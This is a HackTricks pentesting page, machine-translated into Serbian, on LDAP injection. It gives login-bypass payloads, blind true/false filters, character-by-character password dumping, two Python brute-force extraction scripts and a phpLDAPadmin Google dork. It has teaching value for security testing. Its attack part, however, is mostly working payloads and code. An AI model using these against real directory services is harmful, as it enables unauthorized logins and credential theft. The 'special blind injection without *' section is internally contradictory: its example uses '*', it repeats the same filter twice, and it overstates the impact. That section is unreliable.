hacktricks/pentesting-web/ldap-injection.md
2024-02-10 13:11:20 +00:00

14 KiB

LDAP Injection

LDAP Injection

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:


Bug bounty savet: registrujte se za Intigriti, premium platformu za bug bounty kreiranu od strane hakera, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas i počnite da zarađujete nagrade do $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

LDAP Injection

LDAP

Ako želite da saznate šta je LDAP, posetite sledeću stranicu:

{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} pentesting-ldap.md {% endcontent-ref %}

LDAP Injection je napad koji cilja veb aplikacije koje konstruišu LDAP izjave na osnovu korisničkog unosa. Ovo se dešava kada aplikacija nepravilno sanitizuje unos, omogućavajući napadačima da manipulišu LDAP izjavama putem lokalnog proksija, što može dovesti do neovlašćenog pristupa ili manipulacije podacima.

{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}

Filter = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = Apolutna ISTINA
(|) = Apolutna LAŽ

Na primer:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))

Možete pristupiti bazi podataka, koja može sadržati informacije različitih tipova.

OpenLDAP: Ako stignu 2 filtera, izvršava se samo prvi.
ADAM ili Microsoft LDS: Sa 2 filtera izbacuju grešku.
SunOne Directory Server 5.0: Izvršava oba filtera.

Veoma je važno poslati filter sa ispravnom sintaksom ili će biti izbačena greška. Bolje je poslati samo 1 filter.

Filter mora početi sa: & ili |
Primer: (&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void

Zatim: (&(objectClass=*)(ObjectClass=*)) će biti prvi filter (onaj koji se izvršava).

Bypassovanje prijave

LDAP podržava nekoliko formata za skladištenje lozinke: clear, md5, smd5, sh1, sha, crypt. Dakle, moguće je da bez obzira na to šta unesete unutar lozinke, ona će biti heširana.

user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

Liste

Slepa LDAP ubacivanje

Možete prisiliti lažne ili tačne odgovore da proverite da li se vraćaju podaci i potvrdite moguću slepu LDAP ubacivanje:

#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

Dump podataka

Možete iterirati preko ASCII slova, brojeva i simbola:

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

Skripte

Otkrivanje validnih LDAP polja

LDAP objekti podrazumevano sadrže nekoliko atributa koji se mogu koristiti za čuvanje informacija. Možete pokušati brute-force metodom izvući te informacije iz svih tih polja. Možete pronaći listu podrazumevanih LDAP atributa ovde.

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()

Posebna slepa LDAP ubacivanje (bez "*")


Opis

LDAP (Lightweight Directory Access Protocol) je protokol koji se koristi za pristupanje i manipulaciju informacijama u direktorijumima. LDAP ubacivanje je tehnika napada koja omogućava napadaču da izvrši zlonamerni kod ubacivanjem zlonamernih LDAP filtera u aplikaciju koja koristi LDAP za autentifikaciju ili pretragu korisnika.

Uobičajena metoda LDAP ubacivanja koristi specijalne znakove poput "*" kako bi se izvršio napad. Međutim, u nekim slučajevima, aplikacija može biti konfigurisana tako da ne dozvoljava korišćenje ovih specijalnih znakova. U takvim situacijama, može se koristiti posebna slepa LDAP ubacivanje.

Posebna slepa LDAP ubacivanje se koristi kada aplikacija ne prikazuje rezultate LDAP pretrage direktno na korisničkom interfejsu. Umesto toga, aplikacija prikazuje samo odgovor "da" ili "ne" na osnovu rezultata pretrage. Ova tehnika se koristi za izvršavanje slepog ubacivanja, gde napadač može postaviti uslov koji će biti ispunjen samo ako je ubacivanje uspešno.


Napadni vektor

Napadač može iskoristiti posebnu slepu LDAP ubacivanje tako što će ubaciti zlonamerni LDAP filter u polje za pretragu ili autentifikaciju. Na primer, napadač može pokušati da ubaci sledeći filter:

(&(username=admin)(password=*)(sn=Smith))

Ako aplikacija ne prikazuje rezultate pretrage, ali prikazuje "da" ili "ne" na osnovu rezultata, napadač može iskoristiti sledeći filter kako bi proverio da li postoji korisnik sa prezimenom "Smith":

(&(username=admin)(password=*)(sn=Smith))

Ako aplikacija prikaže "da", to znači da postoji korisnik sa prezimenom "Smith". Ako prikaže "ne", to znači da takav korisnik ne postoji.

Napadač može koristiti ovu tehniku za izvršavanje različitih vrsta napada, kao što su izvlačenje informacija o korisnicima, preuzimanje lozinki ili izvršavanje komandi na serveru.


Zaštita

Da bi se zaštitili od posebne slepe LDAP ubacivanja, preporučuje se sledeće:

  • Validacija i sanitizacija korisničkog unosa: Aplikacija treba da validira i sanitizuje korisnički unos kako bi se sprečilo ubacivanje zlonamernih LDAP filtera.
  • Korišćenje parametrizovanih upita: Umesto da se koristi konkatenacija stringova za formiranje LDAP filtera, preporučuje se korišćenje parametrizovanih upita kako bi se sprečilo ubacivanje zlonamernog koda.
  • Ograničavanje privilegija: Aplikacija treba da ima minimalne privilegije za pristup LDAP direktorijumu kako bi se smanjio rizik od zloupotrebe.

Reference
#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break

Google Dorks

Google Dorks

Google Dorks su predefinisane pretrage koje se koriste za pronalaženje ranjivosti na veb stranicama. Ove pretrage se koriste za pronalaženje specifičnih informacija koje su javno dostupne na internetu. Google Dorks se mogu koristiti za pronalaženje osetljivih podataka, kao što su lozinke, korisnička imena, baze podataka i druge informacije koje mogu biti iskorišćene za napad.

Evo nekoliko primera Google Dorks pretraga:

  • site:example.com intext:password - Pretraga za stranice koje sadrže reč "password" na sajtu example.com.
  • filetype:sql intext:username password - Pretraga za SQL fajlove koji sadrže reči "username" i "password".
  • inurl:admin.php - Pretraga za stranice koje imaju "admin.php" u URL-u.
  • intitle:"index of" inurl:ftp - Pretraga za FTP servere koji imaju "index of" u naslovu stranice.

Ove pretrage mogu biti veoma korisne za pronalaženje ranjivosti na veb stranicama i otkrivanje osetljivih informacija. Međutim, važno je napomenuti da je korišćenje Google Dorks pretraga zakonito samo ako se koristi u okviru etičkog hakovanja ili pentestiranja.

intitle:"phpLDAPadmin" inurl:cmd.php

Dodatni Payloadi

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}


Bug bounty savet: registrujte se na Intigriti, premium platformu za bug bounty kreiranu od strane hakera, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas i počnite da zarađujete nagrade do $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini da podržite HackTricks: